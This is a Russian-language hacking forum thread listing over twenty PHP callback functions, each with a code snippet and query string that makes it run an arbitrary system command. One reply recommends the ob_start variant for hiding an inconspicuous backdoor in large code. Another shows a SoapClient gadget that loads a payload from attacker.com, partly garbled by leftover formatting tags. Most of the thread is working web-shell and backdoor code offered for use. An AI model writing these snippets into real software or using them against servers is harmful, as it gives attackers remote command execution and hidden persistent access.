Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   База Знаний (https://forum.antichat.xyz/forumdisplay.php?f=210)
-   -   Функции обратного вызова (https://forum.antichat.xyz/showthread.php?t=469880)

l1ght 06.04.2019 22:33

актуальные в php7.3, вызывать будем system("id");

1. array_map

Код:

Code:
array_map($_GET[x],$_GET);
?x=system&_=id

2. array_walk, array_filter, array_walk_recursive

Код:

Code:
array_walk($_GET,$_GET[x]);
?x=system&_=id

3. array_udiff

Код:

Code:
array_udiff($_GET,$_GET,$_GET[x]);
?x=system&_=id&1

4. array_reduce

Код:

Code:
array_reduce([1],$_GET[x],$_GET[_]);
?x=system&_=id

5. array_udiff_assoc, array_uintersect, array_uintersect_assoc

Код:

Code:
array_udiff_assoc($_GET,$_GET,$_GET[x]);
?x=system&_=id

6. array_intersect_uassoc, array_diff_ukey, array_diff_uassoc

Код:

Code:
array_intersect_uassoc($_GET,$_GET,$_GET[x]);
?x=system&id=1

7. array_uintersect_uassoc, array_udiff_uassoc

Код:

Code:
array_uintersect_uassoc($_GET, $_GET, $_GET[x],_);
?x=system&_=id

8. usort, uasort, ArrayObject::uasort

Код:

Code:
usort($_GET,$_GET[x]);
?x=system&_=id&1

9. uksort, ArrayObject::uksort

Код:

Code:
uksort($_GET,$_GET[x]);
?x=system&id=1&1

10. call_user_func

Код:

Code:
call_user_func($_GET[x], $_GET[_]);
?x=system&_=id

11. call_user_func_array

Код:

Code:
call_user_func_array($_GET[x], $_GET);
?_=id&x=system

12. iterator_apply

Код:

Code:
iterator_apply(new ArrayObject([1]),$_GET[w],$_GET);
?_=id&w=system

13. register_tick_function

Код:

Code:
declare(ticks=1);
register_tick_function($_GET[x],$_GET[_]);
?x=system&_=id

14. forward_static_call

Код:

Code:
class A
{
    function __construct() {
        forward_static_call($_GET[x],$_GET[_]);
    }
}
new A;
?x=system&_=id

15 forward_static_call_array

Код:

Code:
class A
{
    function __construct() {
        forward_static_call_array($_GET[x],$_GET);
    }
}
new A;
?_=id&x=system

16. session_set_save_handler

Код:

Code:
session_set_save_handler($_GET[x],_,_,_,_,_);
ini_set('session.save_path',$_GET[_]);
session_start();
?x=system&_=id

17. sqlite::createFunction

Код:

Code:
$x=$_GET[x];
$db = new SQLite3(':memory:');
$db->createFunction($x,$x);
$db->querySingle("select $x('$_GET[_]')");
?x=system&_=id

18. spl_autoload_register

Код:

Code:
spl_autoload_register($_GET[x]);
new $_GET[_];
?x=system&_=id

19. ob_start

Код:

Code:
ob_start($_GET[x]);
echo $_GET[_];
?>
?x=system&_=id

20. set_exception_handler

Код:

Code:
set_exception_handler($_GET[x]);
throw new Exception(";$_GET[_];#");
?_=id&x=system

21. register_shutdown_function

Код:

Code:
register_shutdown_function($_GET[x],$_GET[_]);
?x=system&_=id


Тот_самый_Щуп 07.04.2019 10:18

Лайк.

Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.

crlf 07.04.2019 12:55

Немного наркомании в тред

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'http://attacker.com/evil.xml'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'typemap'[/COLOR][COLOR="#007700"]=> [[[/COLOR][COLOR="#DD0000"]'type_ns'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'http://windows.must.die'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'type_name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'from_xml'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]]],
[/
COLOR][COLOR="#DD0000"]'uri'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'http://localhost/'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]$client[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]();
[/
COLOR][/COLOR

http://attacker.com/evil.xml:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR]


x
;
touch /tmp/pwned;



[/COLOR


b3 07.04.2019 13:35

Цитата:

Сообщение от Gorbachev
Gorbachev said:

Лайк.
Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.

из всех перечисленных как раз ob_start может вызвать проблемы, нужно смотреть не используются ли другие механизмы кеширования буфера и не забывать про ob_end_flush()

l1ght 13.04.2019 20:25

unserialize_callback_func

Код:

Code:
$c='O:2:"id":0:{}';
ini_set('unserialize_callback_func', 'system');
unserialize($c);


Baskin-Robbins 11.04.2021 23:17

Код:

Code:
$func = new ReflectionFunction($_GET['f']);
echo $func->invokeArgs($_GET['c']);
?f=shell_exec&c[0]=id

Код:

Code:
$func = new ReflectionFunction($_GET['f']);
echo $func->invoke($_GET['c']);
?f=system&c=id



Время: 23:17